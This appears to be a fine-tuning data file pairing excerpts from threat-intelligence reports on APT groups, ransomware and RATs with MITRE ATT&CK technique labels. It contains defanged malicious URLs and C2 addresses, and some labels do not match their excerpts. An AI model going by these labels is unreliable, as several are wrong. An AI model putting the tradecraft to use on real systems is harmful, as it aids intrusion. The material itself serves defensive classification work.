"BRONZE UNION appears to use a combination of self-registered IP addresses and commercial VPN services in its command and control (C2) and operational infrastructure. The threat actors also integrate infrastructure they likely previously compromised for espionage purposes. For example, CTU researchers identified the group using IP addresses owned by several, presumably compromised, research organizations to interact with web shells in other target environments","['T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.004 - OS Credential Dumping: LSA Secrets']",fine_tune
"As mentioned previously, this backdoor also supports loading plugins. The server creates a thread that searches for files matching the following pattern lPH*.dll. If such a file exists, it is loaded and its export function ModuleStart is called. Among the various plugins we have located so far, one is able to steal recent files and files from USB thumb drives","['T1025 - Data from Removable Media', 'T1083 - File and Directory Discovery']",fine_tune
"Phishing emails continued to use links to external ZIP or RAR archives, which ultimately contained an executable with the extension SCR. The attackers also made extensive use of Hostinger’s cheap web hosting services to deliver initial payloads",['T1204.001 - Malicious Link'],fine_tune
"After decrypting the C&amp;C server address, the shellcode proceeds to send an HTTP GET request to fetch the resource: “msdn.cpp” on the server",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"The purpose of the bytecode is to decrypt the embedded payload, load it into memory reflectively and execute it",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The backdoor contain narrow capabilities: download and upload files, run commands and send the attackers the results. However short the list, they allow the attackers to upload and execute additional tools for further reconnaissance and lateral movement",['T1105 - Ingress Tool Transfer'],fine_tune
Network analysis — run one of the plugins to retrieve Active Directory and network information (Fig,['T1016 - System Network Configuration Discovery'],fine_tune
"Before running the above command to open the decoy document, the shellcode enumerates the running processes on the system, specifically looking for processes created for an executable with a filename that starts with “avp. presumably in an attempt to find Kaspersky’s antivirus process. If the process is found, the shellcode will not open the decoy document and exits",['T1057 - Process Discovery'],fine_tune
"This RAT is also known for its keylogging and file transfer functionality. As such, any remote attacker can load any files onto the infected machine or even steal documents","['T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1105 - Ingress Tool Transfer']",fine_tune
The malware will setup the miner and then the miner will persist it in the system in two ways: 1) by adding itself as a service if the malware gains admin privileges or 2) by adding the batch file to the startup folder,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"Registered and active during late June 2020, newspointview[.]com has been used with more recent SombRAT variants as the primary C2 domain",['T1105 - Ingress Tool Transfer'],fine_tune
"An example of these tasks is shown below: • write a file and execute it with CreateProcess() capturing all of the standard output • update C&amp;C configuration, plugin storage, etc • update autoruns • write arbitrary files to the filesystem (“File Upload”) • read arbitrary files from the filesystem (“File Download”) • update itself • uninstall • push task results to C2 servers",['T1105 - Ingress Tool Transfer'],fine_tune
"Exploits a kernel privilege escalation vulnerability to gain SYSTEM privileges using CVE-2018-8453. Whitelists files, folders and extensions from encryption. Encrypts files on local and network storage. Customizes the name and body of the ransom note, and the contents of the background image. Exfiltrates encrypted information on the infected host to remote controllers. REvil uses Hypertext Transfer Protocol Secure (HTTPS) for communication with its controllers",['T1486 - Data Encrypted for Impact'],fine_tune
In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated. It also does not use FTP for exfiltration,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Once you have set up the database and logged into the BloodHound web application, you need to pull AD data from your environment using the BloodHound PowerShell ingestor. Figure 1 shows a sample command that searches all domains in the forest (-SearchForest) and the folder location used to save the resulting CSV files",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"If the DoublePulsar backdoor does not exist, then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit. After the first thread determines the local network subnet, the SMB worm scans local addresses beginning at the start of the netblock and increasing by one to the end of the netblock",['T1016 - System Network Configuration Discovery'],fine_tune
"This Unix binary is widely used by many malware families to determine the device’s unique ID (for campaign tracking), usually in the form of the machine’s serial number. This may or may not be hashed with another utility (e.g. md5) before being sent to the C2. To facilitate anti-analysis and evasion, ioreg is also used by some threat actors to determine whether the device is running in a virtual environment",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
It uses a GetCurrentProcessID to find the process ID of the current process. It compares the UniqueProcessID member of the SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX structure with the current process ID,['T1057 - Process Discovery'],fine_tune
"Encryption is definitely the simplest method to hide the C&amp;C server. We have encountered cases where the port has been stored in the data section, in the Delphi form data, or randomly chosen from a range",['T1102.001 - Dead Drop Resolver'],fine_tune
The Helminth implant is routinely delivered through macro-enabled Microsoft Office documents requiring user interaction to execute an obfuscated Visual Basic Script,['T1204.002 - User Execution: Malicious File'],fine_tune
"1) The malicious macro scans the victim’s Outlook inbox and looks for the strings “$$cpte” and “$$ecpte”. 2) Then the macro will open a CMD shell that will execute whatever instruction / command is in between the strings. 4) The macro searches for the special strings in the “Deleted Items” folder to find the attacker’s email address and sends the data back to the attackers via email. 5) Lastly, the macro will delete any evidence of the emails received or sent by the attackers",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
A recent lull in the distribution of spam spreading information-stealing malware via the Hancitor downloader has been snapped,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"There are three types of URLs present in the decrypted configuration. The first type of URL listed in the configuration data is used for the plain HTTP (that is, non-Tor) communication with C&amp;C servers. The bot reports to the C&amp;C server using the typical request pattern: for example, the initial checkin to the C&amp;C server is in the form of: cfg_url + “/images/” + encoded_data + (.jpeg||.gif||.bmp",['T1132 - Data Encoding'],fine_tune
"Similar to many other ransomware operators, CARBON SPIDER not only encrypted victim files using Darkside, but also exfiltrated data for publication on a dedicated leak site (DLS) hosted on Tor. For exfiltration, CARBON SPIDER primarily leveraged the MEGASync client for hosting provider MEGA but also employed GoToAssist",['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
They stop the Volume Shadow Copy service; the ransomware itself includes a command to delete existing shadow copies,['T1490 - Inhibit System Recovery'],fine_tune
"Emotet artifacts are typically found in arbitrary paths located off of the AppData\Local and AppData\Roaming directories. Persistence is typically maintained through Scheduled Tasks or via registry keys. Additionally, Emotet creates randomly-named files in the system root directories that are run as Windows services",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"The backdoor also creates a separate thread that installs a Windows hook procedure on message WH_KEYBOARD_LL, through which it can intercept keystrokes. We believe this is mainly used to intercept credentials from other browsers, specifically Google Chrome",['T1056.001 - Input Capture: Keylogging'],fine_tune
"Kimsuky is a highly motivated APT that has traditionally targeted entities in South Korea. The APT group has used a variety of malware such as Gold Dragon, Babyshark and Appleseed to target entities ranging from defense to education and think tanks. Some file enumerators will exfiltrate all files with specific extensions. What's interesting here, however, is that the attackers knew exactly which files they were looking for",['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
"The Trojan obfuscates its executable code prior to compilation, rather than packing it like most other ransomware, making it harder for researchers to reverse engineer and analyze the malicious code. It also obscures the links to the necessary API function, and stores hashes to strings rather than the actual strings. Upon installation, the Trojan reviews the directory its executable is started from, and if it spots an attempt to launch it from an ‘incorrect’ directory – such as a potential automated sandbox – it exits. Before encrypting files on a victim device, SynAck checks the hashes of all running processes and services against its own hard coded list. If it finds a match, it tries to kill the process","['T1083 - File and Directory Discovery', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks']",fine_tune
"Before being sent to the server, the data structure has to pass through shaping as shown in Fig",['T1560 - Archive Collected Data'],fine_tune
"When the backdoor is configured to use HTTPS to communicate with the C2, the functionality is largely the same as when in HTTP mode. The differences are that it lacks the options to update a session key due to encryption being handled by the TLS layer and it also does not have the option to send data to and from the C2 in the chunking mode previously described. In addition, only one transmission is made to the C2 when the malware is establishing a connection as there is no exchange of an AES session key. The hello message that is sent contains the same plaintext data as the HTTP mode",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"For persistence and remote control, the script downloads another base64-encoded Python script from hxxps://ptpb[.]pw/OAZG. After several steps of de-obfuscation, we found the attackers using EmPyre for post-exploitation control",['T1027 - Obfuscated Files or Information'],fine_tune
"The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method, specifically attempting to load either the Pupy RAT or meterpreter which we have called MagicHound.Rollover. The malicious macros were all designed to use Windows PowerShell to download a shellcode-based payload from a remote server. We discovered two different techniques used in the PowerShell scripts, the first being a straightforward execute command of a string retrieved from the remote server. The second technique appeared to be from a tool called Magic Unicorn, an open source module for meterpreter. Specifically, we discovered code in the PowerShell script that was a match for code in Magic Unicorn containing the comment “one line shellcode injection with native x86 shellcode",['T1105 - Ingress Tool Transfer'],fine_tune
"Throughout the year, Volexity identified multiple Vietnamese-language news websites that appeared to be compromised, as they were being used to load an OceanLotus web profiling framework. The exact functionality varied from site to site, but the goal of these frameworks was to gather information about site visitors and, in some cases, deliver malware. This code appears to be a variation of what Volexity has previously described as Framework A",['T1583.001 - Domains'],fine_tune
"For example, here is a folder and a list of files created by picking the C:\Windows\system32\TCPSVCS.exe executable as a source of data",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"The attackers used both families concurrently from late last year through November 2017 and there is some C2 infrastructure overlap between the two families, as well as links to historical reporting. Reaver Malware Analysis To date, Palo Alto Networks Unit 42 has identified 10 unique samples and three distinct variants of a new malware family we have named “Reaver”. As such, we identify each variant as Reaver.v1, Reaver.v2, and Reaver.v3. Reaver.v1 has been observed delivering a payload that uses HTTP for network communication, while versions 2 and 3 use a payload that uses raw TCP connections for this communication. The flow for Reaver is as shown","['T1071.001 - Application Layer Protocol: Web Protocols', 'T1095 - Non-Application Layer Protocol']",fine_tune
"Another payload of the Ecipekac loader, which we call SodaMaster (a.k.a DelfsCake), is also a new fileless malware. In our research we found more than 10 samples of SodaMaster. The only differences were in the configuration data, including a hardcoded C2, an encoded RSA key and additional data for calculating a mutex value","['T1105 - Ingress Tool Transfer', 'T1573.002 - Asymmetric Cryptography']",fine_tune
"When executed, the DLL drops and launches using a WinExec API call. This stage of the Valak malware uses a malicious JavaScript file with a random name that changes per execution",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
The script modifies Windows Defender settings to exclude the target logical drive it is going to wipe from scheduled and real-time scanning,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"MSTIC has observed NICKEL actors using exploits against unpatched systems to compromise remote access services and appliances. Upon successful intrusion, they have used credential dumpers or stealers to obtain legitimate credentials, which they used to gain access to victim accounts. NICKEL actors created and deployed custom malware that allowed them to maintain persistence on victim networks over extended periods of time. MSTIC has also observed NICKEL perform frequent and scheduled data collection and exfiltration from victim networks","['T1016 - System Network Configuration Discovery', 'T1119 - Automated Collection', 'T1587.001 - Malware', 'T1078 - Valid Accounts']",fine_tune
"To load the driver, a new service is created using the API CreateServiceW. The name and display name for this service is the 4-character name used for the file name. Next, StartServiceW is called in a loop five times to ensure the driver is loaded. Immediately after the driver is loaded, the service is removed by deleting the entire registry key","['T1106 - Native API', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
"Once the attackers identify the files of interest, the module is instrumented for exfiltration of the files.The VBScript-based file recon module used by the attackers is somewhat different. The URL constructed had the following format:http://&lt;attacker_controlled_domain/&gt;report.php",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Between 2016 and 2020, we have seenScreenConnect and Onehub used in malicious cyber activity by different, unassociated threat actors. For example, between 2016 and 2019 unknown threat actors targeted IT outsourcing firms, including compromising US-based Cognizant and India-based Wipro. 7] The actors responsible for these attacks used ScreenConnect to connect to endpoints on client networks, enabling them to conduct further lateral movements and automated actions on objectives. During an incident impacting Cognizant and their client Maritz Holdings, actors used ScreenConnect to propagate to other connected systems and caused over $1.8 million (USD) in losses through a gift card fraud scheme. 6] In 2019, another threat group used ConnectWise to execute PowerShell commands in their target environments. 7] In 2020, ScreenConnect/ConnectWise has been utilized by the cybercriminal group Pinchy Spider (GOLD SOUTHFIELD, GOLD GARDEN, Sodinokibi, REvil, GandCrab) to distribute Sodinokibi ransomware",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Stage 1: A Master Boot Record (MBR) locker used to overwrite the operating system's MBR, which effectively prevents the operating system from loading successfully - Stage 2: A disk-wiper used to wipe and destroy files on the target machine",['T1561.002 - Disk Structure Wipe'],fine_tune
"The MuddyWaters group has carried out a large number of attacks and demonstrated advanced social engineering, in addition to the active development of attacks, infrastructure and the use of new methods and techniques",['T1105 - Ingress Tool Transfer'],fine_tune
"BADNEWS Much of BADNEWS has remained consistent from when it was originally discussed by Forcepoint in August 2016. To briefly recap, the BADNEWS malware family acts as a backdoor, with communication occurring over HTTP. A number of commands are provided to the attackers, including the ability to download and execute additional information, upload documents of interest, and take screenshots of the desktop. This tactic uses public web services to host content that contains encoded commands that are decoded by the malware",['T1113 - Screen Capture'],fine_tune
"As we can see, it simply downloads a file from secure.dropinbox[.]pw using HTTP on port 443 (not HTTPS), and proceeds to decrypt the file using AES-128 prior to executing it. At this point, Cardinal RAT has been downloaded and executed, and execution is directed to this sample. Of course, the Carp Downloader is not required to download Cardinal RAT, however, based on our visibility, it has exclusively done so","['T1105 - Ingress Tool Transfer', 'T1071.001 - Application Layer Protocol: Web Protocols']",fine_tune
"Many fields in the installation program are forged into Acrobat Reader installation program, and the interface after running is related to Acrobat Reader",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"The use of the legitimate regsvr32.exe application to run a .sct file is an AppLocker bypass technique originally discovered by Casey Smith (@subtee), which eventually resulted in a Metasploit module. The WINDOWSTEMP.ps1 script is a dropper that decodes an embedded executable using base64 and decompresses it with the System.IO.Compression.GzipStream object. The WindowsTemplate.exe executable is a new variant of RogueRobin written in C","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1140 - Deobfuscate/Decode Files or Information', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",fine_tune
Juniper Threat Labs has been monitoring a campaign that pushes a new IcedID banking trojan. This new campaign changes tactics by injecting into msiexec.exe to conceal itself and use full steganography for downloading its modules and configurations. Previous versions of IcedID injected into svchost.exe and downloaded encrypted modules and config as “.dat” files. IcedID is a banking malware that performs Man-in-the-Browser attacks to steal financial information,['T1105 - Ingress Tool Transfer'],fine_tune
"Execution through API (Batch file for example). - Application processes discovery with some procedures as the hashes of the name, and directly for the name of the process. File and directory discovery: to search files to encrypt. Encrypt files. Create files",['T1486 - Data Encrypted for Impact'],fine_tune
"The malware uses at least three separate encryption methods for its traffic, depending on the type of message. The first method, implemented within HTTPDLL.dll, is used for the decryption of values and traffic relating to the HTTP GET requests (i) and (ii) discussed above. It appears to use an implementation of AES to encrypt the data which is then transmitted in its encrypted format. The key (shown in the image below) is apparently static, at least among the samples tested, and generated by drawing byte values from multiple parts of the binary and performing a number of bitwise operations on them","['T1132.001 - Data Encoding: Standard Encoding', 'T1573.001 - Symmetric Cryptography']",fine_tune
"1) The script uses the function fromCharCode() that returns a string created from a sequence of UTF-16 code units. By using this function, it avoids explicitly writing commands it wants to execute and it hides the actual code it is initiating. In particular, the script uses this function to hide information related to process names. To the best of our knowledge, this method was not used in early versions of the spam campaign. 2) The script uses the function radador(), which returns a randomized integer. This function is able to obfuscate code so that every iteration of the code is presented differently. In contrast to the first method of obfuscation, this has been used effectively since early versions of the Astaroth Trojan campaign",['T1027 - Obfuscated Files or Information'],fine_tune
Implant Type – WaterBear is a stage-2 implant with many capabilities; BendyBear is a stage-0 downloader,['T1105 - Ingress Tool Transfer'],fine_tune
"Monday, February 12, 2018 . Olympic Destroyer Takes Aim At Winter Olympics . This blog post is authored by Warren Mercer and Paul Rascagneres. Olympic Destroyer Workflow . Initial stage . The initial edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9 sample is a binary that, when executed, drops multiple files on to the victim host. SQLite is embedded in the sample: . System Credential Stealer . In additional to the browsers credential stealer, Olympic Destroyer drops and executes a system stealer. This step is executed to ensure that file recovery is not trivial - WBAdmin can be used to recover individual files, folders and also whole drives so this would be a very convenient tool for a sysadmin to use in order to aid recovery. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: ""Disabled: Specifies that the service should not be started. Legitimate File . Additionally, the Olympic Destroyer drops the legitimate, digitally signed, PsExec file in order to perform lateral movement by using this legitimate tool from Microsoft. Using legitimate tools like PsExec will save the adversary time from writing their own tooling. Disruption is the clear objective in this type of attack and it leaves us confident in thinking that the actors behind this were after embarrassment of the Olympic committee during the opening ceremony. Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. categories . Subscribe To Our Feed . Blog Archive . - - - - - - - - - - - - ▼ February (14) CannibalRAT targets Brazil Who Wasn’t Responsible for Olympic Destroyer",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"SOMBRAT evades forensic analysis by patching the process memory used to record command line arguments. It replaces the initial command line with the base filename of the program executable, removing any arguments. This means that investigators that inspect a process listing via memory forensics will see the innocuous-looking command line `powershell.exe` rather than references to the uncommon filename such as `WwanSvc.c","['T1057 - Process Discovery', 'T1564.010 - Process Argument Spoofing']",fine_tune
POWRUNER may also receive batch commands from the C2 server to collect host information from the system,"['T1083 - File and Directory Discovery', 'T1057 - Process Discovery', 'T1047 - Windows Management Instrumentation', 'T1049 - System Network Connections Discovery', 'T1016 - System Network Configuration Discovery', 'T1082 - System Information Discovery', 'T1033 - System Owner/User Discovery']",fine_tune
The 0x1 bit in the control flags is used in this module to specify if the download should be done via HTTPS,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"TeamTNT targets exposed Docker API to deploy malicious images. Docker images containing TeamTNT malware are being hosted in public Docker repos via account takeovers. TeamTNT leverages exposed Docker hub secrets within GitHub to stage malicious Docker images. The following MITRE ATT&amp;CK techniques were observed: Deploy Container (T1610), User Execution: Malicious Image (T1204.003), Unsecured Credentials: Credentials In Files (T1552.002), Implant Internal Image (T1525), and Valid Accounts: Cloud Accounts (T1078.004",['T1204.003 - User Execution: Malicious Image'],fine_tune
Crutch is able to bypass some security layers by abusing legitimate infrastructure – here Dropbox – in order to blend into normal network traffic while exfiltrating stolen documents and receiving commands from its operators,['T1102.002 - Bidirectional Communication'],fine_tune
"Some of the executables pack the collected data into a password protected archive and save it to the disk, while others send the data to the C&amp;C server directly","['T1074.001 - Data Staged: Local Data Staging', 'T1560 - Archive Collected Data']",fine_tune
"Woburn, MA – May 7, 2018 – Kaspersky Lab researchers have discovered a new variant of the SynAck ransomware Trojan using the Doppelgänging technique to bypass anti-virus security by hiding in legitimate processes. The developers behind SynAck also implement other tricks to evade detection and analysis, obfuscating all malware code prior to sample compilation and exiting if signs suggest it is being launched in a sandbox",['T1027 - Obfuscated Files or Information'],fine_tune
"Monday, February 12, 2018 . Olympic Destroyer Takes Aim At Winter Olympics . This blog post is authored by Warren Mercer and Paul Rascagneres. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec &amp; WMI to further move through the environment. Olympic Destroyer Workflow . Initial stage . The initial edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9 sample is a binary that, when executed, drops multiple files on to the victim host. Dropped Files . Browser Credential Stealer . Olympic Destroyer drops a browser credential stealer. SQLite is embedded in the sample: . System Credential Stealer . In additional to the browsers credential stealer, Olympic Destroyer drops and executes a system stealer. The stealer attempts to obtain credentials from LSASS with a technique similar to that used by Mimikatz. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: ""Disabled: Specifies that the service should not be started. Legitimate File . Additionally, the Olympic Destroyer drops the legitimate, digitally signed, PsExec file in order to perform lateral movement by using this legitimate tool from Microsoft. Disruption is the clear objective in this type of attack and it leaves us confident in thinking that the actors behind this were after embarrassment of the Olympic committee during the opening ceremony",['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
"The dropper then decrypts the ciphertext by using an XOR cipher and a specific base64 encode string that is decoded and used as the key. Before accessing the ciphertext, the dropper subtracts 14 from the specified offset, which is the same as previous Disttrack samples delivered in Shamoon 2 attacks. Tables 1, 2, and 3 include the resources, the information used to extract them, and the resulting module",['T1078.002 - Domain Accounts'],fine_tune
"We see it clustered here with some dynamic domain name system (DNS) domains. Dynamic DNS domains were observed in this cluster on later IP addresses as well, though this technique appears to have fallen out of favor, at least in this context, since there are none in this cluster currently active",['T1568 - Dynamic Resolution'],fine_tune
"Regarding to downloading and executing a tool, Flagpro stores the downloaded file in file path “%Temp%\~MY[0-9A-F].tmp” first. Then, Flagpro adds extension “.exe” to the name of stored file and executes the file",['T1036 - Masquerading'],fine_tune
"Because TA505 is such a significant part of the email threat landscape, this blog provides a retrospective on the shifting malware, payloads, and campaigns associated with this actor. We examine their use malware such as Jaff, Bart, and Rockloader that appear to be exclusive to this group as well as more widely distributed malware like Dridex and Pony. Where possible, we detail the affiliate models with which they are involved and outline the current state of TA505 campaigns",['T1486 - Data Encrypted for Impact'],fine_tune
"In the example, the POWRUNER client sends a random GET request to the C2 server and the C2 server sends the random number (99999999990) as a response. As the response is a random number that ends with ‘0’, POWRUNER sends another random GET request to receive an additional command string. The C2 server sends back Base64 encoded response",['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
"Using valid credentials, CARBON SPIDER moves laterally through victim environments using RDP and occasionally SSH. The adversary typically uses PS to run Cobalt Strike but occasionally writes Cobalt Strike stagers or KillACK backdoors to disk. Occasionally, CARBON SPIDER has deployed the legitimate GoToAssist or TightVNC tools to provide redundant control of hosts","['T1021.005 - Remote Services:VNC', 'T1021.001 - Remote Services: Remote Desktop Protocol', 'T1021.004 - Remote Services: SSH']",fine_tune
"The test plugin attempts to connect to a provided address to check access to the network. Meanwhile, the reverse P2P plugin creates a proxy server to bridge the C&amp;C and the client. This creates another connection to another C&amp;C specified in the commands to act as a proxy, redirecting traffic from the infected machine to the real C&amp;C server",['T1090.002 - External Proxy'],fine_tune
This adversary group is most commonly associated with a custom PowerShell implant identified as Helminth. The Helminth implant is routinely delivered through macro-enabled Microsoft Office documents requiring user interaction to execute an obfuscated Visual Basic Script,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated,['T1105 - Ingress Tool Transfer'],fine_tune
The notes also contain a threat to leak private information that has been collected from the target if the ransom is not paid,"['T1484.001 - Domain Policy Modification: Group Policy Modification', 'T1078.002 - Domain Accounts']",fine_tune
"AT&amp;T Alien Labs™ has discovered a new campaign by threat group TeamTNT that is targeting multiple operating systems and applications. The campaign uses multiple shell/batch scripts, new open source tools, a cryptocurrency miner, the TeamTNT IRC bot, and more","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",fine_tune
"To do this, Tick uses a number of publicly available hacktools such as Mimikatz, GSecdump, and Windows Credential Editor. The tools are downloaded and deployed to the original install directory previously created by the malware",['T1588.002 - Tool'],fine_tune
It seems that the implementation for dynamic import resolution slightly varies in comparison to the one used in Azazel rootkit,['T1014 - Rootkit'],fine_tune
"Throughout our StellarParticle investigations, CrowdStrike identified what appeared to be a VBScript-based Active Directory enumeration toolkit. While the script’s contents have not been recovered to date, CrowdStrike has observed identical artifacts across multiple StellarParticle engagements that suggest the same or similar tool was used",['T1057 - Process Discovery'],fine_tune
"If it is executed with the ""help"" parameter, it will install a service to execute itself as a service. This parameter is used by the trojanized installer. This has a notable side effect: if rmaserv.exe is executed isolated on a sandbox (so without the parameter), the service is not created. Consequently, the execution won't do anything and the dynamic analysis will be skewed. The second main feature is the service. This service has two features. First, it will launch the winprint32.exe executable (C2 contact module) and then it will wait for an event. This event is the mechanism used by the C2 contact module to alert the service executable to perform the cleaning of all components",['T1569.002 - System Services: Service Execution'],fine_tune
"Network Reconnaissance – gathering information from machines on the network. Credential Theft – stealing user names and passwords, potentially to provide them with further access to the victim network. RAR archiving – files are transferred to staging servers before exfiltration. Csvde – can be used to extract Active Directory files and data. WMIExec – can be used for lateral movement and to execute commands remotely. PowerShell - a powerful interactive command-line interface and scripting environment included in the Windows operating system",['T1074.002 - Remote Data Staging'],fine_tune
"On balance, the fall campaigns diverged from Bulgarian themed NetWire campaigns in the early summer in scope and scale. These campaigns distributed NetWire variants which used Bulgarian email lures, leveraged geofencing, and downloading EXEs through certutils. The NetWire malware has been around since at least 2002 and has been consistently in use by various actors across the threat landscape. This analysis shows groupings of similar campaigns distributing NetWire based on message attributes, email lures and language, Office document metadata, VBA Macro code, and malware configuration","['T1566.001 - Phishing: Spearphishing Attachment', 'T1059.005 - Command and Scripting Interpreter: Visual Basic']",fine_tune
This thread searches for for files with the following extensions on removable drives and copies them to ‘c:\system’ every 5 seconds,"['T1005 - Data from Local System', 'T1083 - File and Directory Discovery', 'T1074.001 - Data Staged: Local Data Staging', 'T1119 - Automated Collection', 'T1025 - Data from Removable Media']",fine_tune
"Observed Clop samples try to kill several processes and services related to backups and security solutions. Clop also leverages Code Signing to evade detection. We observed the use of two signers during our research, as shown below in Figure 1",['T1553.002 - Code Signing'],fine_tune
The FTP account information used in the malware can expose the C&amp;C server to attacks. The string ‘victory’ used in the password has also been found in the b374k webshell used by the Kimsuky group,"['T1598.003 - Spearphishing Link', 'T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1027 - Obfuscated Files or Information']",fine_tune
"The January 2022 version of PlugX malware utilizes RC4 encryption along with a hardcoded key that is built dynamically. For communications, the data is compressed then encrypted before sending to the command and control (C2) server and the same process in reverse is implemented for data received from the C2 server. e@T#L$PH%"" as it is being passed along with the encrypted data. During the January 2022 campaigns, the delivered PlugX malware samples communicated with the C2 server 92.118.188[.]78 over port 187. In the February 2022 campaign, Proofpoint researchers observed a variation in which PlugX malware used an RC4 key that was sent to the bot in the first HTTP response which was then used to encrypt data going to the C2 server",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Stage 2 is also .NET DLL file that downloads a third file from parinari[.]xyz, converts it from ASCII to binary, and then creates a scheduled task to load it",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"The plugin is designed to migrate the loader to the address space of another process. Injection parameters are set in the Lizar client configuration file. It should be noted that this plugin can be used not only to inject the loader, but also to execute other PE files in the address space of the specified process","['T1055 - Process Injection', 'T1055.002 - Process Injection: Portable Executable Injection']",fine_tune
"This release adds features to spawn processes with an alternate parent process. This release also gives the operator control over the script templates Cobalt Strike uses in its attacks and workflows. This release of Cobalt Strike pushes back on this technique with the ppid command. For example, if I’m in a user context, I might set explorer.exe as my parent with something plausible (e.g, iexplore.exe) for my temporary processes. If I’m in a SYSTEM context, I might use services.exe as my parent process and ask Beacon to use svchost.exe for its temporary processes. Beacon’s runu command runs an arbitrary command as a child of another parent. These commands offer means to spawn a payload, in another desktop session, without remote process injection. The Resource Kit . Cobalt Strike 3.8’s Resource Kit finally gives you a way to change Cobalt Strike’s built-in script templates. The Resource Kit is a collection of Cobalt Strike’s default script templates and a sample Aggressor Script to bring these into Cobalt Strike. The Resource Kit benefits from new Aggressor Script hooks to provide the PowerShell, Python, and VBA script templates Cobalt Strike uses in its workflows",['T1078.003 - Valid Accounts: Local Accounts'],fine_tune
2) Shell scripts used to launch the QEMU images. 3) Daemons used to start the shell scripts at boot and keep them running. 4) A CPU monitor shell script with an accompanying daemon that can start/stop the mining based on CPU usage and whether the Activity Monitor process is running,['T1057 - Process Discovery'],fine_tune
"It does so by monitoring the content of the clipboard and if the data seem to be a cryptocurrency wallet, it replaces them with the attacker’s own. This technique is not new; it has been used by other malware in the past – even the infamous BackSwap banking trojan implemented it in its earliest stages",['T1565.002 - Transmitted Data Manipulation'],fine_tune
The data exchanged between the module and the C&amp;C is encrypted with a proprietary algorithm and then encoded as readable latin characters,['T1132.002 - Non-Standard Encoding'],fine_tune
"In earlier attacks, the group used malicious Microsoft Word documents to infect victims, with compromised websites being added to the mix as a more recent attack vector",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
It eventually downloads a PowerShell module from an Amazon S3 bucket URL hxxps://s3[.]amazonaws[.]com/doclibrarysales/test[.]txt and then executes it,"['T1583.006 - Web Services', 'T1102 - Web Service']",fine_tune
"The script variant of the Helminth Trojan consists of a VBScript and PowerShell script named update.vbs and dns.ps1. We aptly named this variant the script version, as we found another version of this Trojan that we will discuss later in this Appendix",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"C2 commands are represented as seemingly random alphanumerical ASCII strings (e.g. These dynamic updates to Goldmax configuration data enable ability to set a new activation date, replace the existing C2 URL and User-Agent values, enable/disable decoy network traffic feature, and update the number range used by its PRNG",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"In order to meet the phishing emails’ infrastructure requirements, disposable domains and emails were used as the delivery medium. On occasions, the phishing emails contained links to external domains to download the first stage, and sometimes the first stage was attached to the email itself",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"Once installed, JSSLoader provides the threat group with a backdoor to the victim’s computer and the organization","['T1204.002 - User Execution: Malicious File', 'T1047 - Windows Management Instrumentation']",fine_tune
